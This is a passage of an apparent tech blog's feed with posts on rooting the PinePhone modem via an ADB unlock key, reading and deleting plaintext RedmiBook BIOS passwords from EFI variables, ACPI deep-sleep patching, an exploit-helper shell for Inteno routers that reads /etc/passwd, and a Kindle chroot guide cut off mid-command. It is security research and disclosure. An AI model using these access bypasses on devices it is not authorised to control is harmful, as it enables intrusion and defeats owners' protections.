  ]]></content><author><name></name></author><category term="lte" /><category term="gps" /><category term="modem" /><summary type="html"><![CDATA[As I mentioned towards the end of my previous blog post, where I detailed running my blog on the PinePhone's GSM/WWAN/GPS modem, I suspected that the daemon responsible for parsing AT commands on the modem's side is susceptible to OS command injection, as it uses a lot of system() calls. My hunch turned out to be true.]]></summary></entry><entry><title type="html">This blog is now hosted on a GPS/LTE modem</title><link href="https://nns.ee/blog/2021/04/01/modem-blog.html" rel="alternate" type="text/html" title="This blog is now hosted on a GPS/LTE modem" /><published>2021-04-01T08:00:00+03:00</published><updated>2021-04-01T08:00:00+03:00</updated><id>https://nns.ee/blog/2021/04/01/modem-blog</id><content type="html" xml:base="https://nns.ee/blog/2021/04/01/modem-blog.html"><![CDATA[<p>No, really. Despite the timing of this article, this is not an April Fool's joke.</p>
  <!--description-->
  <h2 id="pinephones-gpswwanlte-modem">PinePhone's GPS/WWAN/LTE modem</h2>
  <p>While developing software on the PinePhone, I came across this peculiar message in <code class="language-plaintext highlighter-rouge">dmesg</code>:</p>
  <pre><code class="language-dmesg">[   25.476857] modem-power serial1-0: ADB KEY is '41618099' (you can use it to unlock ADB access to the modem)
</code></pre>
  <p>For context, the PinePhone has a <a href="https://www.quectel.com/product/lte-eg25-g/">Quectel EG25-G</a> modem, which handles GPS and wireless connectivity for the PinePhone. This piece of hardware is one of the few components on the phone <a href="https://www.pine64.org/2020/01/24/setting-the-record-straight-pinephone-misconceptions/">which is closed-source</a>.</p>
  <p>When I saw that message and the mention of ADB, I immediately thought of Android Debug Bridge, the software commonly used to communicate with Android devices. "Surely," I thought, "it can't be talking about <em>that</em> ADB". Well, turns out it is.</p>
  <p>The message links to <a href="https://xnux.eu/devices/feature/modem-pp.html">an article</a> which details the modem in question. It also links to an <a href="https://xnux.eu/devices/feature/qadbkey-unlock.c">unlocker utility</a> which, when used, prints out AT commands to enable <code class="language-plaintext highlighter-rouge">adbd</code> on the modem.</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>./qadbkey-unlock 41618099
<span class="go">AT+QADBKEY="WUkkFzFSXLsuRM8t"
AT+QCFG="usbcfg",0x2C7C,0x125,1,1,1,1,1,1,0
</span></code></pre>
    </div>
  </div>
  <p>These can be sent to the modem using <code class="language-plaintext highlighter-rouge">screen</code>:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">#</span><span class="w"> </span>screen /dev/ttyUSB2 115200 
</code></pre>
    </div>
  </div>
  <p>For whatever reason, my input wasn't being echoed back, but the screen session printed out "OK" twice, indicating it had executed the commands fine.</p>
  <p>After setting up proper <code class="language-plaintext highlighter-rouge">udev</code> rules and <code class="language-plaintext highlighter-rouge">adb</code> on my "host machine", which is the PinePhone, the modem popped up in the output for <code class="language-plaintext highlighter-rouge">adb devices</code>, and I could drop into a shell:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>adb devices
<span class="go">List of devices attached
(no serial number)	device

</span><span class="gp">$</span><span class="w"> </span>adb shell
<span class="gp">/ #</span><span class="w">
</span></code></pre>
    </div>
  </div>
  <p>Because <code class="language-plaintext highlighter-rouge">adbd</code> was running in root mode, I dropped into a root shell. Neat.</p>
  <p>It turns out the modem runs its own OS totally separate from the rest of the PinePhone OS. With the latest updates, it runs Linux 3.18.44.</p>
  <h2 id="running-a-webserver">Running a webserver</h2>
  <p>For whatever reason, I thought it'd be fun to run my blog on this thing. Since we were working with limited resources (around 48M of space and the same amount of memory), and the fact that my blog is just a bunch of static files, I decided that something like nginx (as lightweight as it is) would be a bit overkill for my purposes.</p>
  <p><a href="https://unix4lyfe.org/darkhttpd/">darkhttpd</a> seemed to fit the bill well. Single binary, no external dependencies, does GET and HEAD requests only. Perfect.</p>
  <p>I used the <a href="https://musl.cc/">armv7l-linux-musleabihf-cross</a> toolchain to cross compile it for ARMv7 and statically link it against musl. <code class="language-plaintext highlighter-rouge">adb push</code> let me easily push the binary and my site assets to the modem's <code class="language-plaintext highlighter-rouge">/usrdata</code> directory, which seems to have a writable partition about 50M big mounted on it.</p>
  <p>The HTTP server works great. I decided to use ADB to expose the HTTP port to my PinePhone:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>adb forward tcp:8080 tcp:80
</code></pre>
    </div>
  </div>
  <p>As ADB-forwarded ports are only bound to the loopback interface, I also manually exposed it to external connections:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">#</span><span class="w"> </span>sysctl <span class="nt">-w</span> net.ipv4.conf.all.route_localnet<span class="o">=</span>1
<span class="gp">#</span><span class="w"> </span>iptables <span class="nt">-t</span> nat <span class="nt">-I</span> PREROUTING <span class="nt">-p</span> tcp <span class="nt">--dport</span> 8080 <span class="nt">-j</span> DNAT <span class="nt">--to-destination</span> 127.0.0.1:8080
</code></pre>
    </div>
  </div>
  <p>I could now access my blog on <code class="language-plaintext highlighter-rouge">http://pine:8080/</code>. Cool!</p>
  <h2 id="throughput">Throughput?</h2>
  <p>I ran <code class="language-plaintext highlighter-rouge">iperf</code> over ADB port forwarding just to see what kind of throughput I get.</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>iperf <span class="nt">-c</span> localhost
<span class="go">------------------------------------------------------------
Client connecting to localhost, TCP port 5001
TCP window size: 2.50 MByte (default)
------------------------------------------------------------
[  3] local 127.0.0.1 port 44230 connected with 127.0.0.1 port 5001
[ ID] Interval       Transfer     Bandwidth
[  3]  0.0-10.6 sec  14.4 MBytes  11.4 Mbits/sec
</span></code></pre>
    </div>
  </div>
  <p>So around 10Mb/s. Not great, not terrible.</p>
  <p>The PinePhone itself is connected to the network over USB (side note: I had to <a href="https://xnux.eu/devices/feature/anx7688.html#toc-usb-c-cc-pins-are-grounded-when-vconn-switches-are-off">remove two components from the board</a> to get USB networking to work). Out of interest, I ran <code class="language-plaintext highlighter-rouge">iperf</code> over that connection as well:</p>
  <div class="language-plaintext highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code>$ iperf -c 10.15.19.82
------------------------------------------------------------
Client connecting to 10.15.19.82, TCP port 5001
TCP window size:  136 KByte (default)
------------------------------------------------------------
[  3] local 10.15.19.100 port 58672 connected with 10.15.19.82 port 5001
[ ID] Interval       Transfer     Bandwidth
[  3]  0.0-10.4 sec  25.8 MBytes  20.7 Mbits/sec
</code></pre>
    </div>
  </div>
  <p>Although I was expecting more, it doesn't really matter, as I was bottlenecking at the ADB-forwarded connection.</p>
  <h2 id="further-thoughts">Further thoughts</h2>
  <p>I wonder how secure the modem is. It turns out a lot of AT commands <a href="https://xnux.eu/devices/feature/modem-pp-reveng.html">use <code class="language-plaintext highlighter-rouge">system()</code> on the modem</a>. I suspect some of those AT commands may be vulnerable to command injection, but I haven't looked into this further. It also doesn't really matter when dropping into a root shell using ADB is this easy.</p>
  <p>At first glance, this seems like a perfect method to obtain persistence for malware. With root access on the host system, malware could implant itself into the modem, which would enable it to survive reinstalls of the host OS, and snoop on communications or track the device's location. Some of the impact is alleviated by the fact that all interaction with the host OS happens over USB and I2S and only if the host OS initiates it, so malware in the modem couldn't directly interact with the host OS.</p>
  ]]></content><author><name></name></author><category term="lte" /><category term="gps" /><category term="modem" /><summary type="html"><![CDATA[No, really. Despite the timing of this article, this is not an April Fool's joke.]]></summary></entry><entry><title type="html">Viewing and resetting the BIOS passwords on the RedmiBook 16</title><link href="https://nns.ee/blog/2021/01/18/resetting-bios-password.html" rel="alternate" type="text/html" title="Viewing and resetting the BIOS passwords on the RedmiBook 16" /><published>2021-01-18T01:00:00+02:00</published><updated>2021-01-18T01:00:00+02:00</updated><id>https://nns.ee/blog/2021/01/18/resetting-bios-password</id><content type="html" xml:base="https://nns.ee/blog/2021/01/18/resetting-bios-password.html"><![CDATA[<p>I recently lost the BIOS password for my Xiaomi RedmiBook 16. Luckily, viewing and even resetting the password from inside a Linux session turned out to be incredibly easy.</p>
  <!--description-->
  <p>As it turns out, both the user and the system ("supervisor") passwords are <em>not</em> hashed in any way and stored as plaintext inside EFI variables. Viewing these EFI variables is incredibly easy on a Linux system where <code class="language-plaintext highlighter-rouge">efivarfs</code> is enabled, even under a regular user account and if secure boot is enabled:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="nb">uname</span> <span class="nt">-a</span>
<span class="gp">Linux book 5.10.7.a-1-hardened #</span>1 SMP PREEMPT Tue, 12 Jan 2021 20:46:33 +0000 x86_64 GNU/Linux
<span class="gp">$</span><span class="w"> </span><span class="nb">whoami</span>
<span class="go">xx
</span><span class="gp">$</span><span class="w"> </span><span class="nb">sudo </span>dmesg | <span class="nb">grep</span> <span class="s2">"Secure boot"</span>
<span class="go">[    0.010717] Secure boot enabled
</span></code></pre>
    </div>
  </div>
  <p>Reading the variables:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>hexdump <span class="nt">-C</span> /sys/firmware/efi/efivars/SystemSupervisorPw<span class="k">*</span>
<span class="go">00000000  07 00 00 00 0a 70 61 73 73 77 6f 72 64 31 32 20  |.....password12 |

</span><span class="gp">$</span><span class="w"> </span>hexdump <span class="nt">-C</span> /sys/firmware/efi/efivars/SystemUserPw<span class="k">*</span>
<span class="go">00000000  07 00 00 00 0a 70 61 73 73 77 6f 72 64 31 31 21  |.....password11!|
</span></code></pre>
    </div>
  </div>
  <p>If you have a root shell, removing the passwords entirely is also possible:</p>
  <div class="language-plaintext highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code># chattr -i /sys/firmware/efi/efivars/SystemUserPw* /sys/firmware/efi/efivars/SystemSupervisorPw*

# rm /sys/firmware/efi/efivars/SystemUserPw* /sys/firmware/efi/efivars/SystemSupervisorPw*
</code></pre>
    </div>
  </div>
  <p>Reboot, and the BIOS no longer asks for a password to enter setup, change secure boot settings, etc.</p>
  ]]></content><author><name></name></author><category term="acpi" /><category term="bios" /><category term="redmibook" /><category term="linux" /><summary type="html"><![CDATA[I recently lost the BIOS password for my Xiaomi RedmiBook 16. Luckily, viewing and even resetting the password from inside a Linux session turned out to be incredibly easy.]]></summary></entry><entry><title type="html">Patching ACPI tables to enable deep sleep on the RedmiBook 16</title><link href="https://nns.ee/blog/2020/10/19/acpi-patching.html" rel="alternate" type="text/html" title="Patching ACPI tables to enable deep sleep on the RedmiBook 16" /><published>2020-10-19T02:00:00+03:00</published><updated>2020-10-19T02:00:00+03:00</updated><id>https://nns.ee/blog/2020/10/19/acpi-patching</id><content type="html" xml:base="https://nns.ee/blog/2020/10/19/acpi-patching.html"><![CDATA[<p>I recently purchased Xiaomi's <a href="https://www.giztop.com/redmibook-16-ryzen-edition.html">RedmiBook 16</a>. For the price, it's an excellent MacBook clone. Being a Ryzen-based laptop, Linux support works great out of the box, with one big caveat: deep sleep does not work. I decided to try and fix this.</p>
  <!--description-->
  <h2 id="deep-sleep">Deep sleep?</h2>
  <p>To clear some confusion about what I mean by deep sleep, I need to explain a bit of how hibernation/suspending works.</p>
  <p>There are a <a href="https://www.kernel.org/doc/Documentation/power/states.txt">number of sleep states</a> on modern machines.</p>
  <p>The most basic of these is referred to as <code class="language-plaintext highlighter-rouge">S0</code>. It's implemented purely in software (i.e. the kernel), and doesn't do a very good job at preserving battery. While userland processes are suspended, the machine (and the CPU) is still running and using power. As <code class="language-plaintext highlighter-rouge">S0</code> doesn't rely on hardware compatibility, it's enabled on all devices. Using this mode, my RedmiBook's battery drained to 0% overnight.</p>
  <p><code class="language-plaintext highlighter-rouge">S1</code>, also known as "shallow" sleep, is similar to <code class="language-plaintext highlighter-rouge">S0</code> but enables some additional power saving features such as suspending power to nonboot CPUs. This mode still doesn't provide significant power saving, however.</p>
  <p><code class="language-plaintext highlighter-rouge">S3</code> ("suspend-to-RAM") saves the system's state to memory and powers off everything but the memory itself. On boot, this state is restored and the system can resume from suspension. This mode is the one known as "deep sleep" and can provide acceptable levels of power saving. Overnight, this drains only about 3-5% battery on my laptop, which is perfectly fine for my needs.</p>
  <p><code class="language-plaintext highlighter-rouge">S4</code> is known as "suspend-to-disk" and works a lot like <code class="language-plaintext highlighter-rouge">S3</code>, but instead, as you can probably tell by the name, saves the state to disk. This means you can remove power from the device completely and resuming from suspension would still work as the state is not stored in volatile memory.</p>
  <h2 id="acpi">ACPI</h2>
  <p>Modes <code class="language-plaintext highlighter-rouge">S1</code> - <code class="language-plaintext highlighter-rouge">S4</code> require hardware compatibility. This compatibility is usually advertised to the operating system's kernel using ACPI definitions. The kernel uses this information to know what suspension methods to provide to the user.</p>
  <p>On some systems (such as the RedmiBook), the ACPI definitions declare no or only conditional support for some (or all) modes.</p>
  <p>You can see what sleep states your machine supports by looking into <code class="language-plaintext highlighter-rouge">/sys/power/mem_sleep</code>. On my machine, only <code class="language-plaintext highlighter-rouge">S0</code> ("s2idle") was supported:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="nb">cat</span> /sys/power/mem_sleep
<span class="go">[s2idle]
</span></code></pre>
    </div>
  </div>
  <p>Annoying. I knew deep sleep works on Windows, so it's not a case of missing hardware support. I suspected misconfigured ACPI tables to be at fault here.</p>
  <h2 id="patching-acpi">Patching ACPI</h2>
  <p>Luckily, Linux supports loading "patched" ACPI tables during the boot process. It is possible to grab the currently used tables, decompile them, patch out the parts which block <code class="language-plaintext highlighter-rouge">S3</code> from being supported, recompile, and embed the patched table into a <code class="language-plaintext highlighter-rouge">cpio</code> archive.</p>
  <p>The specific ACPI component we're interested in is the DSDT table. We can dump this somewhere safe:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">#</span><span class="w"> </span><span class="nb">cat</span> /sys/firmware/acpi/tables/DSDT <span class="o">&gt;</span> dsdt.aml
</code></pre>
    </div>
  </div>
  <p>We'll use <code class="language-plaintext highlighter-rouge">iasl</code> from the <a href="https://www.acpica.org/downloads/">ACPICA</a> software set to decompile the dumped table:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>iasl <span class="nt">-d</span> dsdt.aml
</code></pre>
    </div>
  </div>
  <p>If you get warnings about unresolved references to external control methods, it might be worth decompiling again, but this time including the SSDT tables. See <a href="https://encryp.ch/blog/better-acpi-patching/#fixing-disassembly">this post at encryp.ch</a> for more info.</p>
  <p>You'll end up with a human-readable <code class="language-plaintext highlighter-rouge">dsdt.dsl</code> file. You'll want to peek into this and search for "S3 System State" to find what you're looking for. In my case, it was nested into two flag checks, which I simply deleted, so as to advertise <code class="language-plaintext highlighter-rouge">S3</code> support even if the flag checks failed:</p>
  <div class="language-diff highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="p">@@ -18,7 +18,7 @@</span>
  *     Compiler ID      "    "
  *     Compiler Version 0x01000013 (16777235)
  */
<span class="gd">-DefinitionBlock ("", "DSDT", 1, "XMCC  ", "XMCC1953", 0x00000002)
</span><span class="gi">+DefinitionBlock ("", "DSDT", 1, "XMCC  ", "XMCC1953", 0x00000003)
</span> {
     /*
      * iASL Warning: There were 9 external control methods found during
<span class="p">@@ -769,19 +769,13 @@</span> DefinitionBlock ("", "DSDT", 1, "XMCC  ", "XMCC1953", 0x00000002)
         Zero,
         Zero
     })
<span class="gd">-    If ((CNSB == Zero))
-    {
-        If ((DAS3 == One))
-        {
-            Name (_S3, Package (0x04)  // _S3_: S3 System State
-            {
-                0x03,
-                0x03,
-                Zero,
-                Zero
-            })
-        }
-    }
</span><span class="gi">+    Name (_S3, Package (0x04)  // _S3_: S3 System State
+    {
+        0x03,
+        0x03,
+        Zero,
+        Zero
+    })
</span><span class="err">
</span>     Name (_S4, Package (0x04)  // _S4_: S4 System State
     {
</code></pre>
    </div>
  </div>
  <p>You'll also want to increment the version number by one (as shown above) as the patched table wouldn't be loaded otherwise.</p>
  <p>Once this is done, we can recompile it, again using <code class="language-plaintext highlighter-rouge">iasl</code>:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>iasl dsdt.dsl
</code></pre>
    </div>
  </div>
  <p>If this refuses to compile due to the compiler thinking <code class="language-plaintext highlighter-rouge">Zero</code> is not a valid type, check out <a href="https://encryp.ch/blog/better-acpi-patching/#fixing-dsdt-compilation">the post at encryp.ch</a>, where they shed some light on this.</p>
  <p>Compiling using <code class="language-plaintext highlighter-rouge">iasl</code> overwrites the old <code class="language-plaintext highlighter-rouge">.aml</code> file. We'll need to create the proper directory tree in order to archive it in a manner which the kernel accepts:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="nb">mkdir</span> <span class="nt">-p</span> kernel/firmware/acpi
</code></pre>
    </div>
  </div>
  <p>Copy the patched table into place and create the archive using the <code class="language-plaintext highlighter-rouge">cpio</code> tool:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="nb">cp </span>dsdt.aml kernel/firmware/acpi/.
<span class="gp">$</span><span class="w"> </span>find kernel | cpio <span class="nt">-H</span> newc <span class="nt">--create</span> <span class="o">&gt;</span> dsdt_patch
</code></pre>
    </div>
  </div>
  <p>Copy the newly created archive into your boot directory:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">#</span><span class="w"> </span><span class="nb">cp </span>dsdt_patch /boot/.
</code></pre>
    </div>
  </div>
  <p>You'll need to figure out how to get your bootloader to load this archive on boot. As I use <code class="language-plaintext highlighter-rouge">systemd-boot</code>, I modified my default entry and added the following <code class="language-plaintext highlighter-rouge">initrd</code> line before <code class="language-plaintext highlighter-rouge">initramfs</code> is loaded:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="nb">grep </span>initrd /boot/loader/entries/arch.conf
<span class="go">initrd	/amd-ucode.img
initrd  /dsdt_patch
initrd	/initramfs-linux.img
</span></code></pre>
    </div>
  </div>
  <p>For <code class="language-plaintext highlighter-rouge">grub</code> users, you'll need to edit the <code class="language-plaintext highlighter-rouge">/boot/grub/grub.cfg</code> file and add the same line.</p>
  <p>I also recommend adding the following kernel parameter, as that makes sure that <code class="language-plaintext highlighter-rouge">S3</code> is used by default instead of <code class="language-plaintext highlighter-rouge">S0</code>:</p>
  <div class="language-plaintext highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code>mem_sleep_default=deep
</code></pre>
    </div>
  </div>
  <p>After rebooting, peek into <code class="language-plaintext highlighter-rouge">/sys/power/mem_sleep</code> once again to make sure <code class="language-plaintext highlighter-rouge">deep</code> is supported and enabled as the current mode:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="nb">cat</span> /sys/power/mem_sleep
<span class="go">s2idle [deep]
</span></code></pre>
    </div>
  </div>
  <p>It's also a good idea to check whether the system properly suspends and resumes. In my case, there have been no issues and I get excellent battery life during sleep.</p>
  <p>Some readers have tested this method and reported that this method also works for the RedmiBook 14 and the Ryzen edition of the Xiaomi Notebook Pro 15, which have similar hardware.</p>
  ]]></content><author><name></name></author><category term="acpi" /><category term="redmibook" /><category term="linux" /><summary type="html"><![CDATA[I recently purchased Xiaomi's RedmiBook 16. For the price, it's an excellent MacBook clone. Being a Ryzen-based laptop, Linux support works great out of the box, with one big caveat: deep sleep does not work. I decided to try and fix this.]]></summary></entry><entry><title type="html">iopshell: A shell-like application for communicating with IOPSYS devices</title><link href="https://nns.ee/blog/2019/05/28/iopshell.html" rel="alternate" type="text/html" title="iopshell: A shell-like application for communicating with IOPSYS devices" /><published>2019-05-28T12:00:00+03:00</published><updated>2019-05-28T12:00:00+03:00</updated><id>https://nns.ee/blog/2019/05/28/iopshell</id><content type="html" xml:base="https://nns.ee/blog/2019/05/28/iopshell.html"><![CDATA[<p>You might've noticed I've been using a custom application for demonstrating vulnerabilities I've discovered on IOPSYS (Inteno) devices for the last few posts. This application is <a href="https://git.dog/xx/iopshell"><code class="language-plaintext highlighter-rouge">iopshell</code></a>, which aims to provide an easy way of communicating with the backend of these devices.
    <!--description--></p>
  <p>I wrote this application for a couple of reasons:</p>
  <ul>
    <li><strong>Ease of access</strong></li>
  </ul>
  <p>Previously, it was a bit of a pain to do any sort of communication with IOPSYS. The connection works over a custom WebSockets protocol, which means it's quite hard to talk to these devices. After picking IOPSYS as my attack target, I soon realised I'd be spending most of my time crafting JSON payloads to send to the device which is just cumbersome. <code class="language-plaintext highlighter-rouge">iopshell</code> provides a couple of features to remedy this: payloads no longer have to be fully JSON-encoded (but they still can be!) and use a custom syntax instead, which will be interpreted by the shell and transformed into proper JSON automagically. This means that instead of writing <code class="language-plaintext highlighter-rouge">{"id":2,"jsonrpc":"2.0","method":"call","params":["9fe82306dae3c5d3c5d36d9ace11d300","file","stat",{"path":"/etc/passwd"}]}</code> just to read a file, I can simply authenticate once and do <code class="language-plaintext highlighter-rouge">call file stat path:/etc/passwd</code>, which is a lot more sane and readable. Furthermore, after calling <code class="language-plaintext highlighter-rouge">list</code>, the shell populates its autocompletion feature, so I don't have to compare against a JSON list just to see whether I can call a function or not, or what parameters it expects - I can just press tab!</p>
  <ul>
    <li><strong>Scripting</strong></li>
  </ul>
  <p>If you've seen any of my previous exploits, you'll know they're all written in Python. Roughly half of the exploits' code is there just to establish a connection to the device, authenticate, be able to call functions, etc. By abstracting these common requirements to a shell-like application <em>which accepts scripts as input</em>, I can write exploits very fast, as I no longer have to worry whether I have established a connection, authenticated correctly, and so on. Unfortunately so far, I've not yet extended the scripting capabilities of <code class="language-plaintext highlighter-rouge">iopshell</code>, so the scripts work on quite a basic, "interpret everything line-by-line" basis. More commonly than not, this is good enough.</p>
  <ul>
    <li><strong>Learn how IOPSYS internals work</strong></li>
  </ul>
  <p>While IOPSYS is based on OpenWRT/LEDE and shares much of its internals, Inteno has changed certain aspects of the backend. Namely, while OpenWRT uses <a href="https://oldwiki.archive.openwrt.org/doc/techref/ubus">ubus</a> to get the front-end admin panel to communicate with the backend, this is usually done through simple HTTP POST requests to an API endpoint, usually located at <code class="language-plaintext highlighter-rouge">/ubus</code>. Inteno has scrapped this system - instead, they use their own custom <a href="http://public.inteno.se/?p=owsd.git;a=summary"><code class="language-plaintext highlighter-rouge">owsd</code> webserver</a>, which communicates asynchronously with <code class="language-plaintext highlighter-rouge">ubus</code> via a WebSockets connection. Besides the obvious speed advantages, it also enables the existence of sleek JavaScript-powered front-end admin panels such as <a href="https://github.com/mkschreder/juci">JUCI</a>. Writing <code class="language-plaintext highlighter-rouge">iopshell</code> has granted me insight into how exactly this design works as a coherent system.</p>
  <ul>
    <li><strong>Learn Go</strong></li>
  </ul>
  <p>I'll be honest - the code is a mess. I used <code class="language-plaintext highlighter-rouge">iopshell</code> as my introduction into the Go language, writing it as my first project. While I have enjoyed writing Go, looking over the code now makes me slightly cringe and would cause frustration or perhaps even slight rage to any seasoned Go developer. While I consider the thing to be usable, I'm still planning on going over the codebase and refactoring most of what I can sometime soon. Of course, if you want to help, contributions are very welcome.</p>
  <p>Feel free to check out and grab the project from <a href="https://git.dog/xx/iopshell">its git.dog page</a>. The readme has instructions on setting it up, details on different commands and even how to write your own commands. Unfortunately, the Go toolchain is currently needed to compile the project, but I'm planning on distributing precompiled binaries soon after I've ironed out some more bugs.</p>
  ]]></content><author><name></name></author><category term="iopshell" /><category term="iopsys" /><category term="inteno" /><category term="lede" /><category term="openwrt" /><summary type="html"><![CDATA[You might've noticed I've been using a custom application for demonstrating vulnerabilities I've discovered on IOPSYS (Inteno) devices for the last few posts. This application is iopshell, which aims to provide an easy way of communicating with the backend of these devices.]]></summary></entry><entry><title type="html">chroot shenanigans 2: Running a full desktop environment on an Amazon Kindle</title><link href="https://nns.ee/blog/2019/04/14/chroot-shenanigans-2.html" rel="alternate" type="text/html" title="chroot shenanigans 2: Running a full desktop environment on an Amazon Kindle" /><published>2019-04-14T17:00:00+03:00</published><updated>2019-04-14T17:00:00+03:00</updated><id>https://nns.ee/blog/2019/04/14/chroot-shenanigans-2</id><content type="html" xml:base="https://nns.ee/blog/2019/04/14/chroot-shenanigans-2.html"><![CDATA[<p><a href="https://nns.ee/blog/2019/03/21/chroot-shenanigans.html">In my previous post</a>, I described running Arch on an OpenWRT router. Today, I'll be taking it a step further and running Arch and a full LXDE installation natively on an Amazon Kindle, which can be interacted with directly using the touch screen. This is possible thanks to the Kindle's operating system being Linux!
    <!--description--></p>
  <p>You can see the end result in action <a href="https://youtu.be/Bx386xpDqCY">here</a>. Apologies for the shaky video - it was shot using my phone and no tripod.</p>
  <p>If you're wanting to follow along, make sure you've <a href="https://wiki.mobileread.com/wiki/5_x_Jailbreak">rooted your Kindle</a> beforehand. This is essential – without it, it's impossible to run custom scripts or binaries.</p>
  <p>I'm testing this on an 8th generation Kindle (KT3) – it should, however, work for all recent Kindles given you've enough storage and are rooted. You also need to set up <a href="https://www.mobileread.com/forums/showthread.php?t=225030">USBnetwork</a> for SSH access and optionally <a href="https://www.mobileread.com/forums/showthread.php?t=203326">KUAL</a> if you want a simple way of launching the chroot.</p>
  <p>First things first: We need to set up a filesystem and extract an Arch installation into it, which we can later chroot into. The filesystem will be a file which will be mounted as a loop device. The reason why we're not extracting the Arch installation directly into a directory on the Kindle is because the Kindle's storage filesystem is FAT32. FAT32 doesn't support required features such as symbolic links, which would break the Arch installation. Please note that this also means that your chroot filesystem can be 4 gigabytes large, at maximum. This can be worked around by mounting the real root inside the chroot filesystem, which it's still a hacky way to go about it. But I digress.</p>
  <p>First, figure out how large your filesystem actually can be. SSH into your Kindle and see how much free space you have:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>ssh root@192.168.15.244
<span class="go">
</span><span class="gp">kindle#</span><span class="w"> </span><span class="nb">df</span> <span class="nt">-k</span> /mnt/base-us
<span class="go">Filesystem   1K-blocks  Used    Available  Use%  Mounted on
/dev/loop/0  3188640    361856  2826784    11%   /mnt/base-us
</span></code></pre>
    </div>
  </div>
  <p>Seems like we have around 2800000K (around 2.8G) of space available. Let's make our filesystem 2.6G – it's enough to host our root filesystem and some extra applications, such as LXDE. Note that I'll be running the following commands on my PC and transferring the filesystem over later. You can also do all of this on the Kindle, but it's simply easier and faster this way.</p>
  <p>Let's create a blank file of the wanted size. I'm using <code class="language-plaintext highlighter-rouge">dd</code>, but you can also use <code class="language-plaintext highlighter-rouge">fallocate</code> for this:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="nb">dd </span><span class="k">if</span><span class="o">=</span>/dev/zero <span class="nv">of</span><span class="o">=</span>arch.img <span class="nv">bs</span><span class="o">=</span>1024 <span class="nv">count</span><span class="o">=</span>2600000
<span class="go">2600000+0 records in
2600000+0 records out
2662400000 bytes (2.7 GB, 2.5 GiB) copied, 6.92058 s, 385 MB/s
</span></code></pre>
    </div>
  </div>
  <p>Let's create our filesystem on it. Since we're doing this on the PC, we need make it 32bit and disable the <code class="language-plaintext highlighter-rouge">metadata_csum</code> and <code class="language-plaintext highlighter-rouge">huge_file</code> options on the filesystem, as the Kindle's ext4 kernel doesn't support them.</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>mkfs.ext4 <span class="nt">-O</span> ^64bit,^metadata_csum,^huge_file arch.img
<span class="go">mke2fs 1.45.0 (6-Mar-2019)
Discarding device blocks: done                            
Creating filesystem with 650000 4k blocks and 162560 inodes
Filesystem UUID: a4e72620-368a-44b4-81bb-9e66b2903523
Superblock backups stored on blocks: 
	32768, 98304, 163840, 229376, 294912

Allocating group tables: done                            
Writing inode tables: done                            
Creating journal (16384 blocks): done
Writing superblocks and filesystem accounting information: done 
</span></code></pre>
    </div>
  </div>
  <p>This is optional, but I'll also disable periodic filesystem checks on it:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>tune2fs <span class="nt">-c</span> 0 <span class="nt">-i</span> 0 arch.img                               
<span class="go">tune2fs 1.45.0 (6-Mar-2019)         
Setting maximal mount count to -1
Setting interval between checks to 0 seconds
</span></code></pre>
    </div>
  </div>
  <p>Next it's time to mount the filesystem:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="nb">mkdir </span>rootfs
<span class="gp">$</span><span class="w"> </span><span class="nb">sudo </span>mount <span class="nt">-o</span> loop arch.img rootfs/
</code></pre>
    </div>
  </div>
  <p>The Kindle I'm using has a Cortex-A9-based processor, so let's download the ARMv7 version of Arch Linux ARM from <a href="http://os.archlinuxarm.org/os/ArchLinuxARM-armv7-latest.tar.gz">here</a>. You can download it and extract then, or simply download and extract at the same time:</p>
  <div class="language-console highlighter-rouge">
    <div class="highlight">
      <pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>curl <span class="nt">-L</span> http://os.archlinuxarm.org/os/ArchLinuxARM-armv7-latest.tar.gz | <span class="nb">sudo tar </span>xz <span class="nt">-C</span> rootfs/
